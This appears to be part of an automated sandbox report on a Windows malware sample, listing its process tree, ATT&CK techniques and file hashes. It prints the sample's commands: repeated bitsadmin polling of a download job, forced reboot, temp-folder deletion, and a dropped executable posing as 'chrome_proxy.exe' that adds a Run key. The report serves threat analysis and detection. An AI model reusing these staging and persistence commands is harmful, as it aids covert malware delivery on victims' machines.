- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4084
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - Runs ping.exe
    PID:5844
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2420
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:2300
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:4592
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:3764
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  PID:2624
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4420
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  PID:248
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:404
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:820
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:240
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2552
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4820
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5872
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4904
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:5068
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  PID:2528
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1716
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:4384
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3212
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:2832
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:476
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4244
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1812
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3356
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:748
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:912
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2408
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4816
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1768
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    - System Location Discovery: System Language Discovery
    PID:672
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3380
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:5460
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  PID:1660
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - Runs ping.exe
    PID:2980
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5584
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1872
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:2176
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:1956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:908
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4560
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3848
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:3784
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4956
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4212
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2904
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5800
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3944
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:4768
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:2740
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:4556
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3216
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4156
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5908
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:5332
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:3868
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:5600
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4564
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1504
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  PID:2936
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:2588
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3136
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5844
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4948
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4152
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  PID:1772
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:4580
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:5148
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:3252
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4436
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:712
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:240
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:700
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2100
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:4636
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  PID:5488
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5412
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1352
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:5960
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:4824
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:3176
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2848
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4740
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4200
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5340
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:1120
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:4244
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3872
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - Runs ping.exe
    PID:1292
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1268
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:3400
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:5096
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5596
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5088
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1512
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2144
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:3912
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:3936
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1952
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2668
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2040
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2716
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3524
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:6100
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2880
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4776
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5452
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1980
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:620
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:5764
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:5800
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4512
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2740
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4180
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2648
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:3340
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:5348
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /complete "DL969387" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2928
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /complete "DL969387"
    3⤵
    PID:3692
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4372
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1128
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:1740
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4972
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:1084
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5876
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4552
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5588
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  PID:480
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - Runs ping.exe
    PID:5532
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  PID:5496
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3332
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rd /s /q "C:\Users\Admin\AppData\Local\Temp\DataStore_681"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3636
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 3 >nul
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3272
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 3
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3356
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rd /s /q "C:\Users\Admin\AppData\Local\Temp\DataStore_681"
  2⤵
  PID:4464
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 >nul
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5596
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1436
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c shutdown /r /t 322 /f /c " "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4956
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r /t 322 /f /c " "
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:620
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:472
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5500

C:\Users\Admin\AppData\Local\Google\Chrome\DataStore\chrome_proxy.exe
"C:\Users\Admin\AppData\Local\Google\Chrome\DataStore\chrome_proxy.exe"
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
PID:3936

C:\Users\Admin\AppData\Local\Google\Chrome\DataStore\chrome_proxy.exe
C:\Users\Admin\AppData\Local\Google\Chrome\DataStore\chrome_proxy.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:1132

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

BITS Jobs

T1197

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

BITS Jobs

T1197

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

chrome_proxy.exe

Path C:\Users\Admin\AppData\Local\Temp\DataStore_681\chrome_proxy.exe
Size 3.6MB
SHA256 81747ff73a350dc2e54c5fc9bc8c46b0fb52a9f0eec3f4ffa8730751c18571d7
MD5 302672f11282844c00b7c8cf3ae0d3be
SHA1 866c44a9d7716b53d362e96a78ca768800c66ede
SHA512 280e597a5e8031c23908c04924fcdccdbec8c3c7d8af00816016a3781bc50ed48b71e632fe9858397993de997cae425de89dbbfbd9e4b2fdcfcad6f038f1b802
SSDEEP 49152:VZmGdjAVnz2T1qSorXA7030jRt189AzDbDYopKZB:VZFjAhz265URt1QAnro
TLSH
T136066B13B38C613EF46B5A7B487BD251583FF6A026138C0B67F49ACC8E356805E2A757
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1132-9-0x00000000004C0000-0x0000000000864000-memory.dmp

Download

memory/3936-10-0x00000000004C0000-0x0000000000864000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads